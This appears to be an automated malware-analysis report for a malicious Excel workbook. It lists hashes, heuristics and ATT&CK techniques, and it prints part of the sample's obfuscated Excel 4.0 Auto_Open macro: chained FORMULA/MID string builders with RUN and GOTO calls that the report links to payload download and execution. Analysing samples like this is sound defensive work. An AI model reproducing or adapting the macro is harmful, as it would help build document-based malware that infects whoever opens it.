Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d571c637e9a3d3ec…

MALICIOUS

Office (OLE)

153.0 KB Created: 2020-05-21 14:09:58 Authoring application: Microsoft Excel First seen: 2020-08-10
MD5: e852695d29625602be032af94e31954b SHA-1: 9b4098fd7ce6f60ab4abd7677cd3999a518a7194 SHA-256: d571c637e9a3d3ecbd098c432f34c6050f4a03d5d86c8a8224ecc670b3187d7d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro that utilizes dangerous functions like RUN. This indicates an attempt to execute arbitrary code upon opening the document. The macro's formula is obfuscated, but the presence of the RUN function strongly suggests it's designed to download and execute a secondary payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 38872 bytes
SHA-256: 4a1f5c6582cb74bbef79409afc060695c397ef5f72df326be45c7eff895354d0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!BN29963 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,FU40,"FORMULA(MID(ET62317,12,1)&MID(HB23611,19,1)&MID(HB23611,4,1)&MID(HB23611,5,1)&MID(HB23611,8,1)&MID(HB23611,1,1)&MID(DZ1394,9,1)&MID(HB23611,5,1)&MID(HB23611,15,1)&MID(HB23611,1,1)&MID(HB23611,14,1)&MID(HB23611,14,1)&MID(HB23611,11,1)&MID(HB23611,14,1)&MID(DZ1394,9,1)&MID(HB23611,2,1)&MID(HB23611,5,1)&MID(HB23611,8,1)&MID(HB23611,1,1)&MID(HB23611,15,1)&MID(DZ1394,9,1)&MID(HB23611,14,1)&MID(A21354,4,1)&MID(ET62317,2,1)&MID(ET62317,2,1)&MID(ET62317,6,1)&MID(DZ1394,18,1)&MID(ET62317,2,1)&MID(A21354,6,1)&MID(ET62317,18,1)&MID(A21354,4,1)&MID(DZ1394,14,1)&MID(ET62317,4,1)&MID(DZ1394,17,1)&MID(A21354,6,1)&MID(DZ1394,10,1)&MID(DZ1394,10,1)&MID(DZ1394,10,1),FU43)",""
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,FU41,"FORMULA(MID(ET62317,12,1)&MID(HB23611,19,1)&MID(ET62317,16,1)&MID(HB23611,5,1)&MID(HB23611,16,1)&MID(DZ1394,9,1)&MID(HB23611,10,1)&MID(HB23611,11,1)&MID(HB23611,19,1)&MID(DZ1394,9,1)&MID(DZ1394,10,1)&MID(DZ1394,12,1)&MID(DZ1394,3,1)&MID(DZ1394,17,1)&MID(DZ1394,17,1)&MID(ET62317,9,1)&MID(DZ1394,17,1)&MID(DZ1394,17,1)&MID(ET62317,9,1)&MID(DZ1394,17,1)&MID(DZ1394,18,1)&MID(DZ1394,3,1)&MID(DZ1394,10,1),FU44)",""
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,FU42,"FORMULA(MID(ET62317,12,1)&MID(HB23611,10,1)&MID(HB23611,1,1)&MID(A21354,1,1)&MID(HB23611,16,1)&MID(DZ1394,9,1)&MID(DZ1394,10,1),FU45)",""
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,FU46,RUN(JG796),""
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,FO193,"FORMULA(MID(GO55235,12,1)&MID(HL45513,3,1)&MID(EY45262,17,1)&MID(EZ56970,10,1)&MID(EZ56970,10,1)&MID(EZ56970,6,1)&MID(EZ56970,9,1)&MID(GO55235,9,1)&MID(HL45513,16,1)&MID(HL45513,16,1)&MID(EY45262,10,1)&MID(EZ56970,4,1)&MID(EY45262,13,1)&MID(EY45262,18,1)&MID(EZ56970,1,1)&MID(EY45262,10,1)&MID(EY45262,12,1)&MID(EY45262,17,1)&MID(EY45262,10,1)&MID(EZ56970,4,1)&MID(EY45262,13,1)&MID(EZ56970,8,1)&MID(EY45262,10,1)&MID(HL45513,15,1)&MID(EY45262,12,1)&MID(EZ56970,5,1)&MID(EZ56970,3,1)&MID(HL45513,16,1)&MID(EZ56970,13,1)&MID(EZ56970,6,1)&MID(HL45513,14,1)&MID(EZ56970,1,1)&MID(EY45262,14,1)&MID(EZ56970,15,1)&MID(EZ56970,9,1)&MID(HL45513,15,1)&MID(EZ56970,6,1)&MID(EY45262,17,1)&MID(EZ56970,6,1)&MID(HL45513,3,1),CW51556)",""
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,FO194,RUN(DQ1490),""
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,JG796,"FORMULA(MID(ET62317,12,1)&MID(HB23611,2,1)&MID(HB23611,11,1)&MID(HB23611,12,1)&MID(HB23611,1,1)&MID(HB23611,10,1)&MID(DZ1394,9,1)&MID(HB23611,14,1)&MID(A21354,4,1)&MID(ET62317,2,1)&MID(ET62317,1,1)&MID(ET62317,8,1)&MID(ET62317,4,1)&MID(ET62317,8,1)&MID(A21354,6,1)&MID(ET62317,18,1)&MID(A21354,4,1)&MID(DZ1394,14,1)&MID(DZ1394,18,1)&MID(ET62317,3,1)&MID(DZ1394,17,1)&MID(A21354,6,1)&MID(DZ1394,10,1),JG797)",""
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,JG798,GOTO(B1283),""
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,B1283,"FORMULA(MID(ET62317,12,1)&MID(HB23611,2,1)&MID(HB23611,12,1)&MID(HB23611,11,1)&MID(HB23611,15,1)&MID(DZ1394,9,1)&MID(HB23611,14,1)&MID(A21354,4,1)&MID(DZ1394,14,1)&MID(ET62317,3,1)&MID(ET62317,7,1)&MID(ET62317,6,1)&MID(A21354,6,1)&MID(ET62317,18,1)&MID(A21354,4,1)&MID(ET62317,1,1)&MID(ET62317,2,1)&MID(ET62317,8,1)&MID(A21354,6,1)&MID(DZ1394,13,1)&MID(ET62317,1,1)&MID(DZ1394,18,1)&MID(ET62317,4,1)&MID(DZ1394,10,1),B1284)",""
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,B1285,GOTO(FI41589),""
'  BHsIk8Eu5T0aIqrHCY9OaoZ986zzG,DQ1490,"FORMULA(MID(GO55235,12,1)&MID(GO55235,18,1)&MID(GO55235,16,1)&MID(DD49766,8,1)&MID(DD49766,8,1)&MID(HL45513,9,1)&MID(HL45513,3,1)&MID(EZ56970,11,1)&MID(EZ56970,8,1)&MID(EZ56970,2,1)&MID(EZ56970,3,1)&MID(EZ56970,5,1)&MID(EZ56970,4,1)&MID(HL45513,3,1)&MID(HL45513,13,1)&MID(HL45513,3,1)&MID(DD49766,17,1)&MID(
... (truncated)

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